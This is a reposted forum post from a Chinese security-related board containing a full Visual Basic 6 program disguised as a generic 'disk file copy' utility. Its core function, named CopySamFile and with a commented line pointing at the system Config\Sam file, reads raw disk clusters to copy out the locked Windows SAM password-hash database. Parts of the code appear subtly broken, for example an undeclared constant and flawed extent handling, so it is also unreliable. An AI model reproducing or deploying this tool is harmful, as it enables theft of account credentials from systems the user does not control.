|
<table cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div style="TEXT-INDENT: 24px; WORD-WRAP: break-word; FONT-SIZE: 9pt; OVERFLOW: hidden; WORD-BREAK: break-all" id="textstyle_1">
<div class="msgheader">QUOTE:</div><div class="msgborder">
<p><font face="Verdana"><br/>'保存为frmMain.frm<br/><br/>VERSION 5.00<br/>Begin VB.Form frmMain <br/> BorderStyle = 1 'Fixed Single<br/> Caption = "磁盘文件复制"<br/> ClientHeight = 2745<br/> ClientLeft = 45<br/> ClientTop = 435<br/> ClientWidth = 5235<br/> LinkTopic = "Form1"<br/> LockControls = -1 'True<br/> MaxButton = 0 'False<br/> MinButton = 0 'False<br/> ScaleHeight = 2745<br/> ScaleWidth = 5235<br/> StartUpPosition = 2 '屏幕中心<br/> Begin VB.CommandButton cmdExit <br/> Cancel = -1 'True<br/> Caption = "退出"<br/> Height = 375<br/> Left = 3720<br/> TabIndex = 5<br/> Top = 1950<br/> Width = 1275<br/> End<br/> Begin VB.TextBox txtSource <br/> Height = 285<br/> Left = 1110<br/> TabIndex = 2<br/> Top = 450<br/> Width = 3945<br/> End<br/> Begin VB.TextBox txtPath <br/> Height = 255<br/> Left = 1110<br/> TabIndex = 1<br/> Top = 1260<br/> Width = 3945<br/> End<br/> Begin VB.CommandButton cmdCopy <br/> Caption = "复制"<br/> Height = 375<br/> Left = 1920<br/> TabIndex = 0<br/> Top = 1980<br/> Width = 1275<br/> End<br/> Begin VB.Label lblMsg <br/> AutoSize = -1 'True<br/> Caption = "目标路径:"<br/> Height = 180<br/> Index = 1<br/> Left = 180<br/> TabIndex = 4<br/> Top = 1320<br/> Width = 810<br/> End<br/> Begin VB.Label lblMsg <br/> AutoSize = -1 'True<br/> Caption = "源路径:"<br/> Height = 180<br/> Index = 0<br/> Left = 180<br/> TabIndex = 3<br/> Top = 510<br/> Width = 630<br/> End<br/>End<br/>Attribute VB_Name = "frmMain"<br/>Attribute VB_GlobalNameSpace = False<br/>Attribute VB_Creatable = False<br/>Attribute VB_PredeclaredId = True<br/>Attribute VB_Exposed = False<br/>Private Declare Function DeviceIoControl Lib "kernel32" (ByVal hDevice As Long, ByVal dwIoControlCode As Long, lpInBuffer As Any, ByVal nInBufferSize As Long, lpOutBuffer As Any, ByVal nOutBufferSize As Long, lpBytesReturned As Long, lpOverlapped As Any) As Long<br/>Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long<br/>Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long<br/>Private Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long<br/>Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, lpOverlapped As Any) As Long<br/>Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long<br/>Private Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTotalNumberOfClusters As Long) As Long<br/>Private Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long<br/>Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)<br/>Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long<br/>Private Const GENERIC_READ = &H80000000<br/>Private Const FILE_SHARE_READ = &H1<br/>Private Const FILE_SHARE_WRITE = &H2<br/>Private Const OPEN_EXISTING = 3<br/>Private Const INVALID_HANDLE_VALUE = -1<br/>Private Const GENERIC_WRITE = &H40000000<br/>Private Const OPEN_ALWAYS = 4<br/>Private Const FILE_READ_ATTRIBUTES = (&H80)<br/>Private Const FSCTL_GET_RETRIEVAL_POINTERS = 589939</font></p>
<p><font face="Verdana">Private Type RETRIEVAL_POINTERS_BUFFER<br/> dwExtentCount As Long<br/> bytStartingVcn(7) As Byte '这些都可以使用LARGE_INTEGER类型代替<br/> bytNextVcn(7) As Byte '这些都可以使用LARGE_INTEGER类型代替<br/> bytLcn(7) As Byte '这些都可以使用LARGE_INTEGER类型代替<br/> lngTmp As Long<br/>End Type</font></p>
<p><font face="Verdana">Private Type LARGE_INTEGER<br/> LowPart As Long<br/> HighPart As Long<br/>End Type</font></p>
<p><font face="Verdana">Private Sub cmdCopy_Click()<br/> Dim strSamPath As String<br/>' strSamPath = GetSystemPath & "\Config\Sam"<br/> strSamPath = txtSource.Text<br/> If CopySamFile(strSamPath, txtPath.Text) Then<br/> MsgBox "复制完毕!!", vbInformation, "提示"<br/> Else<br/> MsgBox "复制错误!!", vbCritical, "提示"<br/> End If<br/>End Sub</font></p>
<p><font face="Verdana">'获取系统目录路径<br/>Private Function GetSystemPath() As String<br/> Dim strTmp As String<br/> strTmp = String(260, Chr(0))<br/> GetSystemDirectory strTmp, 260<br/> strTmp = Left(strTmp, InStr(strTmp, Chr(0)) - 1)<br/> GetSystemPath = strTmp<br/>End Function</font></p>
<p><font face="Verdana">Private Function GetFileClusters(ByVal strFileName As String, ByVal lngClusterSize As Long, lngClCount As Long, lngFileSize As Long) As Long()<br/> Dim hFile As Long<br/> Dim lngOutSize As Long<br/> Dim lngBytes As Long, lngCls As Long, lngCnCount As Long, r As Long, lngCount As Long, i As Long, j As Long<br/> Dim lngClusters() As Long<br/> Dim bytInBuf(7) As Byte<br/> Dim objOutBuf As RETRIEVAL_POINTERS_BUFFER<br/> Dim bytOutBuff() As Byte<br/> hFile = CreateFile(strFileName, FILE_READ_ATTRIBUTES, _<br/> FILE_SHARE_READ Or FILE_SHARE_WRITE Or FILE_SHARE_DELETE, _<br/> ByVal 0&, OPEN_EXISTING, 0, 0)<br/> If hFile <> INVALID_HANDLE_VALUE Then<br/> lngFileSize = GetFileSize(hFile, 0)<br/> lngOutSize = 32 + (lngFileSize / lngClusterSize) * 16<br/> ReDim bytOutBuff(lngOutSize - 1)<br/> If DeviceIoControl(hFile, FSCTL_GET_RETRIEVAL_POINTERS, bytInBuf(0), 8, bytOutBuff(0), lngOutSize, lngBytes, ByVal 0&) Then<br/> lngClCount = (lngFileSize + lngClusterSize - 1) \ lngClusterSize<br/> CopyMemory objOutBuf, bytOutBuff(0), 32<br/> For r = 0 To objOutBuf.dwExtentCount - 1<br/> CopyMemory j, objOutBuf.bytLcn(4), 4<br/> For i = lngClCount To 0 Step -1<br/> ReDim Preserve lngClusters(0 To lngCls)<br/> lngClusters(lngCls) = j<br/> j = j + 1<br/> lngCls = lngCls + 1<br/> Next<br/> Next<br/> CloseHandle hFile<br/> GetFileClusters = lngClusters<br/> End If<br/> End If<br/>End Function</font></p>
<p><font face="Verdana">Private Function CopySamFile(ByVal strSamPath As String, ByVal strDestPath As String) As Boolean<br/> Dim lngClusterSize As Long<br/> Dim lngClusters() As Long<br/> Dim lngClCount As Long, lngFileSize As Long, lngBytes As Long<br/> Dim hDrive As Long, hFile As Long<br/> Dim lngSecPerCl As Long, lngBtPerSec As Long, r As Long<br/> Dim curTmp As Currency<br/> Dim ligNo As LARGE_INTEGER<br/> Dim bytBuff() As Byte<br/> GetDiskFreeSpace Left(strSamPath, 2), lngSecPerCl, lngBtPerSec, ByVal 0&, ByVal 0&<br/> lngClusterSize = lngSecPerCl * lngBtPerSec<br/> On Error GoTo ErrHandle<br/> lngClusters = GetFileClusters(strSamPath, lngClusterSize, lngClCount, lngFileSize)<br/> hDrive = CreateFile("\\.\" & Left(strSamPath, 2), GENERIC_READ, FILE_SHARE_READ Or FILE_SHARE_WRITE, ByVal 0&, OPEN_EXISTING, 0, 0)<br/> If hDrive <> INVALID_HANDLE_VALUE Then<br/> hFile = CreateFile(strDestPath, GENERIC_WRITE, 0, ByVal 0, OPEN_ALWAYS, 0, 0)<br/> If hFile <> INVALID_HANDLE_VALUE Then<br/> For r = 0 To lngClCount - 1<br/> curTmp = CCur(lngClusterSize) * CCur(lngClusters(r)) / 10000<br/> CopyMemory ligNo, curTmp, Len(ligNo)<br/> Call SetFilePointer(hDrive, ligNo.LowPart, ligNo.HighPart, 0)<br/> If lngFileSize < lngClusterSize Then<br/> ReDim bytBuff(lngFileSize - 1)<br/> Call ReadFile(hDrive, bytBuff(0), lngFileSize, lngBytes, ByVal 0&)<br/> Call WriteFile(hFile, bytBuff(0), lngFileSize, lngBytes, ByVal 0&)<br/> Exit For<br/> Else<br/> ReDim bytBuff(lngClusterSize - 1)<br/> End If<br/> Call ReadFile(hDrive, bytBuff(0), lngClusterSize, lngBytes, ByVal 0&)<br/> Call WriteFile(hFile, bytBuff(0), lngClusterSize, lngBytes, ByVal 0&)<br/> lngFileSize = lngFileSize - lngBytes<br/> Debug.Print ligNo.LowPart; ligNo.HighPart<br/> Next<br/> End If<br/> CloseHandle hFile<br/> End If<br/> CloseHandle hDrive<br/> CopySamFile = True<br/> Exit Function<br/>ErrHandle:<br/> If hDrive <> -1 Then CloseHandle hDrive<br/> If hFile <> -1 Then CloseHandle hFile<br/>End Function</font></p>
<p><font face="Verdana">Private Sub cmdExit_Click()<br/> Unload Me<br/>End Sub</font></p></div></div>
<div style="TEXT-INDENT: 24px; WORD-WRAP: break-word; FONT-SIZE: 9pt; OVERFLOW: hidden; WORD-BREAK: break-all">来源:<font face="Verdana">http://www.superkill.cn/bbs/dispbbs.asp?boardid=2&Id=5</font></div></td></tr></tbody></table> |
|